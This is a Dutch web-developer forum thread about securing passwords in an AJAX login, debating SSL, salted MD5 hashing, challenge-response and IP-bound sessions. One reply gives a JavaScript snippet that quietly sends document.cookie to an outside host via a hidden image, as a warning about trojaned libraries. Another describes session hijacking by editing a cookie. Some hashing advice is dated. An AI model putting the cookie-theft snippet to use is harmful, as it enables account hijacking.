Toon posts:

AJAX login & password encryption

Pagina: 1
Acties:

Verwijderd

Topicstarter
Ik heb het volgende probleem: voor een website is een login-functionaliteit gewenst zonder dat de hele pagina opnieuw wordt geladen. Hiervoor gebruik ik de AJAX functionaliteit uit de YUI 2.5.1 library. Het werkt goed, echter het probleem is dat het password unencrypted verzonden wordt. Met een 'eenvoudige' tool als Firebug is dit goed te zien: open via 'console' of 'net' tab je request object en jet ziet gelijk je eigen unencrypted password.

Ik wil het dus clientside zo veilig mogelijk maken, in zover dat überhaupt mogelijk is met een AJAX login. Het idee is encrypten in JavaScript, verzenden en decrypten in Java. Op het web vind ik verbazingwekkend weinig concrete informatie mbt. dit thema, terwijl het toch een bekend probleem moet zijn. Hoe zouden jullie dit probleem oplossen?

  • DizzyWeb
  • Registratie: Februari 2001
  • Laatst online: 26-12 00:24

DizzyWeb

Ondertiteld

Verwijderd schreef op donderdag 29 januari 2009 @ 12:21:
Ik heb het volgende probleem: voor een website is een login-functionaliteit gewenst zonder dat de hele pagina opnieuw wordt geladen. Hiervoor gebruik ik de AJAX functionaliteit uit de YUI 2.5.1 library. Het werkt goed, echter het probleem is dat het password unencrypted verzonden wordt. Met een 'eenvoudige' tool als Firebug is dit goed te zien: open via 'console' of 'net' tab je request object en jet ziet gelijk je eigen unencrypted password.

Ik wil het dus clientside zo veilig mogelijk maken, in zover dat überhaupt mogelijk is met een AJAX login. Het idee is encrypten in JavaScript, verzenden en decrypten in Java. Op het web vind ik verbazingwekkend weinig concrete informatie mbt. dit thema, terwijl het toch een bekend probleem moet zijn. Hoe zouden jullie dit probleem oplossen?
Da's schijnveiligheid. Het enige dat je dan doet is het ene wachtwoord vervangen voor het andere. In plaats van een unencrypted wachtwoord wordt er dan een encrypted wactwoord onderschept. En wat is er dan nodig om in te loggen? Precies dat encrypted wachtwoord. Al met al verandert er niets. Je zal niet het wachtwoord moeten encrypten, maar het verkeer. Iets als https oid.

[ Voor 3% gewijzigd door DizzyWeb op 29-01-2009 12:26 ]


  • gertvdijk
  • Registratie: November 2003
  • Laatst online: 17:26
Je zit met het probleem dat je encrytion key die bij de client moet komen ook plain-text over de lijn gaat en wat hierboven al staat, dan. Je beveiliging stelt dan niks voor. Er zijn ook hashing algoritmen (waarbij het oorspronkelijke wachtwoord in beginsel niet te achterhalen is) en asymmetrische oplossingen zoals SSL.

Ideaal voor zoiets zou wel zijn om een asymmetrische encrytie gewoon zelf te kunnen doen met GnuPG/PGP, maar helaas ondersteunen browsers dat niet. Er zijn wel hippe JS oplossingen voor, maar die zijn relatief lastig te implementeren als je geen kaas hebt gegeten van encryptie. In de praktijk is een MD5 hash vaak gebruikt, maar ook aardig lek, omdat het oorspronkelijke wachtwoord nog wel eens makkelijk te achterhalen is.

Zie ook dit topic: \[Encryptie/md5] Salted hashes

Kia e-Niro 2021 64kWh DynamicPlusLine. 3x Victron MP-II op 15kWh US5000 3f thuisbatterij met 3x25A→3x40A PowerAssist, Victron EVCS, 3200Wp HoyMiles zp. my GitHub, my blog


  • CodeCaster
  • Registratie: Juni 2003
  • Niet online

CodeCaster

Can I get uhm...

Je zou zelf een constructie met private/public key kunnen schrijven die gebruik maakt van twee enorme priemgetallen (à la RSA), maar dan ben je toch echt het wiel opnieuw aan het uitvinden.

Een ondertekend certificaat kost nou ook weer geen maandloon, en lost een hoop van dit soort hoofdbrekens op.

https://oneerlijkewoz.nl
Op papier is hij aan het tekenen, maar in de praktijk...


  • MueR
  • Registratie: Januari 2004
  • Laatst online: 01:36

MueR

Admin Devschuur® & Discord

is niet lief

Ik zou inderdaad naar hashes kijken. Neem als voorbeeld vBulletin, die gebruiken dan wel geen AJAX login (wat imo weinig toevoegt, maar dat terzijde), maar versturen het wachtwoord wel md5 encrypted.

Overigens is MD5 niet zo lek dat je het niet meer kan gebruiken hoor, ligt een beetje aan het soort site.

Anyone who gets in between me and my morning coffee should be insecure.


  • CodeCaster
  • Registratie: Juni 2003
  • Niet online

CodeCaster

Can I get uhm...

MueR schreef op donderdag 29 januari 2009 @ 12:36:
Ik zou inderdaad naar hashes kijken. Neem als voorbeeld vBulletin, die gebruiken dan wel geen AJAX login (wat imo weinig toevoegt, maar dat terzijde), maar versturen het wachtwoord wel md5 encrypted.

Overigens is MD5 niet zo lek dat je het niet meer kan gebruiken hoor, ligt een beetje aan het soort site.
Hartstikke leuk dat ze een geMD5'd wachtwoord over de lijn sturen, maar dat kan ik vervolgens ook. Ook als dat geMD5'de wachtwoord gesalt wordt, want die salt moet daarvoor eerst plat over de lijn. Zo ook hier op tweakers.net:

JavaScript:
1
2
3
4
5
6
7
8
9
10
function md5_password(form1, form2)
{
    var uname = form1.elements['u'].value;
    var pwd = form1.elements['p'].value;
    var sid = form1.elements['sid'].value;
    form2.elements['u'].value = uname;
    form2.elements['p'].value = hex_md5(hex_md5(pwd)+uname.toLowerCase()+sid);
    // knip
    form2.submit();
}

Allemaal heel grappig, maar al die waarden (gebruikersnaam, sessie-ID) gaan onversleuteld over de lijn. Security through obscurity dus, of zie ik nu iets over het hoofd? Ja dus, de server bepaalt het sessie-ID. Ik zat met een denkkronkel :+

Je kan het door de gebruiker ingetikte wachtwoord plus zijn sessie-ID wel twintig keer MD5'en, maar het blijft reproduceerbaar wanneer het sessie-ID onderschept wordt.

Of worden de sessie-ID's bewaard, en is het niet mogelijk in te loggen op een voorheen gebruikt sessie-ID?
Wat alsnog mogelijk blijft, is een man-in-the-middle-attack.


Je moet je hier trouwens helemaal niet druk om maken... ik ben nu in Firefox mijn in IE gecreëerde sessie aan het gebruiken. Het enige wat je hoeft te doen is het cookie met je TnetID te bewerken. En guess what, wat gaat er na een succesvolle inlogpoging bij iedere request over de lijn? Inderdaad, het cookie met je TnetID...

[ Voor 31% gewijzigd door CodeCaster op 29-01-2009 13:39 ]

https://oneerlijkewoz.nl
Op papier is hij aan het tekenen, maar in de praktijk...


  • Cartman!
  • Registratie: April 2000
  • Niet online
Die sid verandert elke keer dus op Tnet is dat zo simpel niet hoor ;) Das dan ook het hele ding, je moet het hashen (iets anders dan encrypten zoals t boven genoemd werd) met iets randoms.

  • Andre-85
  • Registratie: April 2003
  • Niet online

Andre-85

Sid

challenge response is de term waar je waarschijnlijk een stuk verder mee kan komen ;)

Lorem
Whenever we feel the need to comment something, we write a method instead. - Martin Fowler
People who think they know everything really annoy those of us who know we don't - Bjarne Stroustrup


  • Niemand_Anders
  • Registratie: Juli 2006
  • Laatst online: 09-07-2024

Niemand_Anders

Dat was ik niet..

Een nog betere optie is gewoon de aanschaf van een SSL certificaat zodat alle customers gegevens over een beveiligde verbinding gaan en niet alleen het password.

Op het moment dat je HTTPS gebruikt hoef je ook geen hashed password over de verbinding te sturen.
Een SSL certificaat heb je al vanaf 29 euro per jaar.

Ik vind het altijd maar een raar dat developers persoonlijke informatie minder belangrijk vinden dan een wachtwoord. Je wilt nu het wachtwoord encrypten voor het geval de AIV de verbinding afluistert. Maar koppel je dan ook de cookie hard aan een IP? Er zijn ontzettend veel websites waarbij dat niet het geval is en die zijn allemaal gevoelig voor een man in the middle attack, ongeacht of het wachtwoord nu plain text of hashed over de lijn gaat. Die websites zijn dus net zo veilig als Schiphol oost. Er is alleen controle bij de ingang (login), maar als je eenmaal binnen bent (de cookie weet) kun je van alles doen..

If it isn't broken, fix it until it is..


  • Cartman!
  • Registratie: April 2000
  • Niet online
Niemand_Anders schreef op donderdag 29 januari 2009 @ 13:48:
Maar koppel je dan ook de cookie hard aan een IP?
Dat hangt af van wat de user wil. Je kunt niet dwingen om een sessie aan een ip te koppelen want niet iedereen heeft een vast ip. Dat wel forceren zou dom zijn imo want je sluit enorme groepen uit om in te loggen. En iemand die je cookie kan stelen van je pc die kan ook wel meer dan dat vaak dus is je risico toch al van andere aard.

  • .oisyn
  • Registratie: September 2000
  • Laatst online: 26-12 04:22

.oisyn

Moderator Devschuur®

Demotivational Speaker

Cartman! schreef op donderdag 29 januari 2009 @ 13:53:
[...]

Dat hangt af van wat de user wil. Je kunt niet dwingen om een sessie aan een ip te koppelen want niet iedereen heeft een vast ip. Dat wel forceren zou dom zijn imo want je sluit enorme groepen uit om in te loggen.
Da's ook onzin. Een variabel ip betekent niet dat je ip zomaar wijzigt terwijl je aan het internetten bent. Op het moment dat dat gebeurt is het niet kunnen inloggen op bepaalde websites wel een van je laatste zorgen. In de praktijk is je ip vast voor een enkele internet-sessie, en doorgaans zelfs langer (ik heb thuis ook geen vast ip, maar ik heb in het jaar dat ik nu bij m'n huidige provider zit nog nooit een ander ip toegewezen gekregen). Je kunt dus prima inloggen. Het enige nadeel dat je ervan kunt ondervinden is dat je niet ingelogd kunt blijven op het moment dat je ip is veranderd.

Overigens nog even over challenge-response passwords, dat is ook alleen maar zinnig bij het inloggen. Als je een account aanmaakt (met zelfgekozen wachtwoord) of je wachtwoord wilt wijzigen dan zal er hoe dan ook informatie het web over moeten die de attacker kan gebruiken om altijd in te kunnen loggen. Dit kun je alleen voorkomen als je de server altijd het wachtwoord laat bepalen. Gebruik gewoon SSL, dat is al jaren veilig gebleken.

[ Voor 18% gewijzigd door .oisyn op 29-01-2009 14:50 ]

Give a man a game and he'll have fun for a day. Teach a man to make games and he'll never have fun again.


  • Niemand_Anders
  • Registratie: Juli 2006
  • Laatst online: 09-07-2024

Niemand_Anders

Dat was ik niet..

Cartman! schreef op donderdag 29 januari 2009 @ 13:53:
[...]

Dat hangt af van wat de user wil. Je kunt niet dwingen om een sessie aan een ip te koppelen want niet iedereen heeft een vast ip. Dat wel forceren zou dom zijn imo want je sluit enorme groepen uit om in te loggen. En iemand die je cookie kan stelen van je pc die kan ook wel meer dan dat vaak dus is je risico toch al van andere aard.
Cross site scripting access is al jaren niet meer mogelijk, dus met dezelfde beredenering is ook het versturen van een hashed password onnodig. En een man in the middle attack hoeft niet altijd zijn oorsprong bij de bezoeker te hebben. Het gevaar schuilt vooral bij grotere (populaire) javascript/ajax libraries waarbij je niet even snel de code kunt controleren zoals jQuery. Op het moment dat ik een aangepaste vorm weg zet op internet en zorg dat deze hoog in de google resultaten (zoals op keyword 'download jQuery') kan in via javascript een regel toevoegen zoals
HTML:
1
2
3
4
var img = new Image;
img.height = 0; img.width=0; 
img.src='http://www.example.org/?c=' + document.cookie;
document.getElementsByName("body")[0].appendChild(img);


Het resultaat is dat je volledige cookie collectie wordt doorgestuurd. Nu is dit voorbeeld misschien ietwat extreem, maar enkele javascript based banners in Google AdWords programma gebruikte (inmiddels niet meer mogelijk) een dergelijke techniek om statistieken te verzamelen.

Een sessie is niets anders dan een key-value collectie welke bij elke pagina wordt meegestuurd. Op het moment dat een cookie niet aan een IP is gebonden kan iemand anders jouw account kapen zonder dat de combinatie username/wachtwoord bekend is. Vrijwel alle browsers bieden de mogelijkheid om het username/wachtwoord te onthouden. Op het moment dat het IP niet meer overeenkomt met het IP waarop het cookie is uitgegeven, behoort de gebruiker opnieuw in te loggen. Voor veel bezoekers houd dat niet meer in dan op de login knop rammen. Op deze manier beveiligen Microsoft en Google ook hun cookies.

Overigens hebben enkele browsers ook support voor de 'HttpOnly' cookies welke dus niet via javascript zijn te benaderen. Een toevoeging welke ooit is verzonnen door Microsoft IE's team als aanvulling op de HTTP standaard, maar inmiddels ook aanwezig is in Firefox 3.

Een combinatie van SSL, HttpOnly cookies en aan IP gekoppelde cookies maakt het erg lastig om cookie exposure via XSS te voorkomen. Misschien inderdaad wat overkill voor een forum login, maar bittere noodzaak in mijn sector (financiele producten, beurs portefeuilles en verzekeringen).

If it isn't broken, fix it until it is..


  • Voutloos
  • Registratie: Januari 2002
  • Niet online
.oisyn schreef op donderdag 29 januari 2009 @ 14:47:
Da's ook onzin. Een variabel ip betekent niet dat je ip zomaar wijzigt terwijl je aan het internetten bent.
Ik zat hier zelf laatst over te denken: gewoon altijd sessie koppelen aan ip en die hele optie lekker uit je login form laten (KISS), maar dan komt er toch altijd iemand met het variabel ip argument. Maar welke gebruiker heeft hier nu écht last van? Is het dus ook zo dat voor alle mobiele gebruikers het ip gedurende 1 werksessie nooit wijzigt?
(note: als je zelf elke 5 minuten een random onbeveiligd access point pakt, heb je pech en moet je maar een iets minder povere verbinding regelen)

{signature}


  • antonboonstra
  • Registratie: Augustus 2002
  • Laatst online: 26-12 10:16

antonboonstra

8815Wp | WP | Tesla | Zero

📸Canon EOS 5D IV 🚁DJI Mavic Pro 🏍️Zero SR ⚡Tesla M3 LR 🌡️Daikin US 3.5kW ☀️8815Wp 🔋Marstek Venus-E 5,12 kWh Tweakers PVOutput lijst


  • .oisyn
  • Registratie: September 2000
  • Laatst online: 26-12 04:22

.oisyn

Moderator Devschuur®

Demotivational Speaker

volgens mij vergis je je, en moet die post in [alg] Slechtste programmeervoorbeelden deel 4

[ Voor 6% gewijzigd door .oisyn op 30-01-2009 11:21 ]

Give a man a game and he'll have fun for a day. Teach a man to make games and he'll never have fun again.


  • Cartman!
  • Registratie: April 2000
  • Niet online
.oisyn: ik heb hier op t werk maandenlang gehad dat ik per request een ander ip had ivm. loadbalancing. Elke refresh op whatsmyip.com gaf een ander adres dus onzin kun je dat echt niet noemen. Als ik een koppeling had aan mn ip dan had ik na de eerstvolgende refresh al niet meer erop gezeten.

  • .oisyn
  • Registratie: September 2000
  • Laatst online: 26-12 04:22

.oisyn

Moderator Devschuur®

Demotivational Speaker

Ja natuurlijk kán dat. Maar dat noem ik gewoon een slecht geconfigged netwerk. Voor loadbalancing hoef je namelijk niet per se meerdere externe ip's te hebben. Als je sessies niet aan ip's koppelt kun je net zo goed geen challenge-response systeem gebruiken. Je hebt het hele wachtwoord proces namelijk niet nodig om van iemand's account gebruik te kunnen maken - aan een sessie-id heb je genoeg.

[ Voor 42% gewijzigd door .oisyn op 30-01-2009 12:04 ]

Give a man a game and he'll have fun for a day. Teach a man to make games and he'll never have fun again.


  • Cartman!
  • Registratie: April 2000
  • Niet online
Neemt niet weg dat dergelijke netwerken er gewoon zo zijn en moet je er rekening mee houden. En ben je ook zo negatief dan over hoe T.net dat oplost? Dat is namelijk hetzelfde idee. Cookie maken met geldig Tnet ID en je bent ingelogd onder iemand zn account.

Verwijderd

Miss is het antwoordt al gegeven (geen tijd om alles door te lezen), maar wat je zoekt staat volgens mij bekend als HMAC. Het principe is vrij simpel:

Je laat de server een willekeurig gekozen tekenreeks (salt) meesturen naar de client (bijvoorbeeld als een hidden form field). Vervolgens hash je met JavaScript het wachtwoord, en vervolgens hash je deze nogmaals maar dan met de tekenreeks erbij (sha1(tekenreeks + sha1(wachtwoord))), vlak voordat je het form submit. Aan de serverkant pak je hierna de hash van het wachtwoord + de tekenreeks en kijkt of de hash hiervan gelijk is als deze die is binnen gekomen.

  • .oisyn
  • Registratie: September 2000
  • Laatst online: 26-12 04:22

.oisyn

Moderator Devschuur®

Demotivational Speaker

Bij t.net kun je zelf kiezen voor zowel challenge-response als ip-koppeling. Ik kies altijd voor allebei. Challenge-response zonder ip-koppeling vind ik nogal zinloos. Wat ik wel graag zie is dat m'n password sowieso gehashed wordt, zodat die niet plaintext over het internet gaat. Niet omdat anderen dan in kunnen loggen, maar omdat anderen dan evt. mijn wachtwoord weten.

Give a man a game and he'll have fun for a day. Teach a man to make games and he'll never have fun again.


  • Cartman!
  • Registratie: April 2000
  • Niet online
Ik snap je opmerking verder niet dat je challenge/response zinloos vind zonder koppeling met ip. Want dat zorgt er juist voor dat je password niet plain over de lijn gaat en het maakt een replay-attack vrij onmogelijk. Ik kies t liefst ook voor ip koppeling maar die keuze heb je gewoon niet altijd.

  • .oisyn
  • Registratie: September 2000
  • Laatst online: 26-12 04:22

.oisyn

Moderator Devschuur®

Demotivational Speaker

Gewoon md5(password+constant salt) zorgt er ook voor dat wachtwoord niet plaintext over de lijn gaat. Mijn punt was dat ik challenge/response geen toevoeging vind hebben tov een gewoon gehashed wachtwoord (met salt) als je sessie-id net zo goed plaintext over de lijn gaat, die vervolgens gewoon gebruikt kan worden door derden als de sessie niet gekoppeld is aan je ip.

Give a man a game and he'll have fun for a day. Teach a man to make games and he'll never have fun again.


  • Niemand_Anders
  • Registratie: Juli 2006
  • Laatst online: 09-07-2024

Niemand_Anders

Dat was ik niet..

Op het moment dat je de cookie/sessie niet koppeld aan het IP, dan is de challange/response vrij zinloos. Je beveiligd eigenlijk alleen het proces om AAN de cookie te komen. Echter als je al een cookie hebt, is er geen controle meer. Vandaar ook eerder de vergelijking met Schiphol Oost.

Een username/password verzenden is authenticatie, maar dat is niet hetzelfde als autorisatie (heb je wel of geen rechten voor een bepaald onderdeel).

Op het moment dat je SSL gebruikt, is ook het hashen van het wachtwoord niet meer nodig (heeft geen toegevoegde waarde ten opzichte van de SSL tunnel).

Wat het wijzigen van het client IP te maken heeft met loadbalacing (server) te maken snap ik niet. Op het moment dat jouw server een andere server probeert te benaderen, moet je eens kijken naar source nat. Eventueel kun je de loadbalancer persistent instellen zodat je zolang je requests binnen de sessie timeout van de loadbalancer vallen, je elke keer terug gaat naar dezelfde webserver als deze nog in de lucht is. Echter is dat alleen als je geen distributed session manager gebruikt.

Ook routers met support voor multiplexed internet verbindingen (zoals meerdere E1 lijnen of teaming kabel/adsl) hebben de mogelijkheid gebruikers persistent via een 'vast' IP naar buiten te laten gaan. Wel moet dan uiteraard de verbinding up zijn.

En zoals eerder opgemerkt kunnen gebruikers welke echt bij elk request een ander IP gebruiken ook gebruik maken van een password manager. De gebruiker hoeft dan alleen maar op de login knop te klikken.

If it isn't broken, fix it until it is..


  • Cartman!
  • Registratie: April 2000
  • Niet online
.oisyn schreef op vrijdag 30 januari 2009 @ 13:35:
Gewoon md5(password+constant salt) zorgt er ook voor dat wachtwoord niet plaintext over de lijn gaat. Mijn punt was dat ik challenge/response geen toevoeging vind hebben tov een gewoon gehashed wachtwoord (met salt) als je sessie-id net zo goed plaintext over de lijn gaat, die vervolgens gewoon gebruikt kan worden door derden als de sessie niet gekoppeld is aan je ip.
ah, ok, dan begrijpen we elkaar weer ;)
Pagina: 1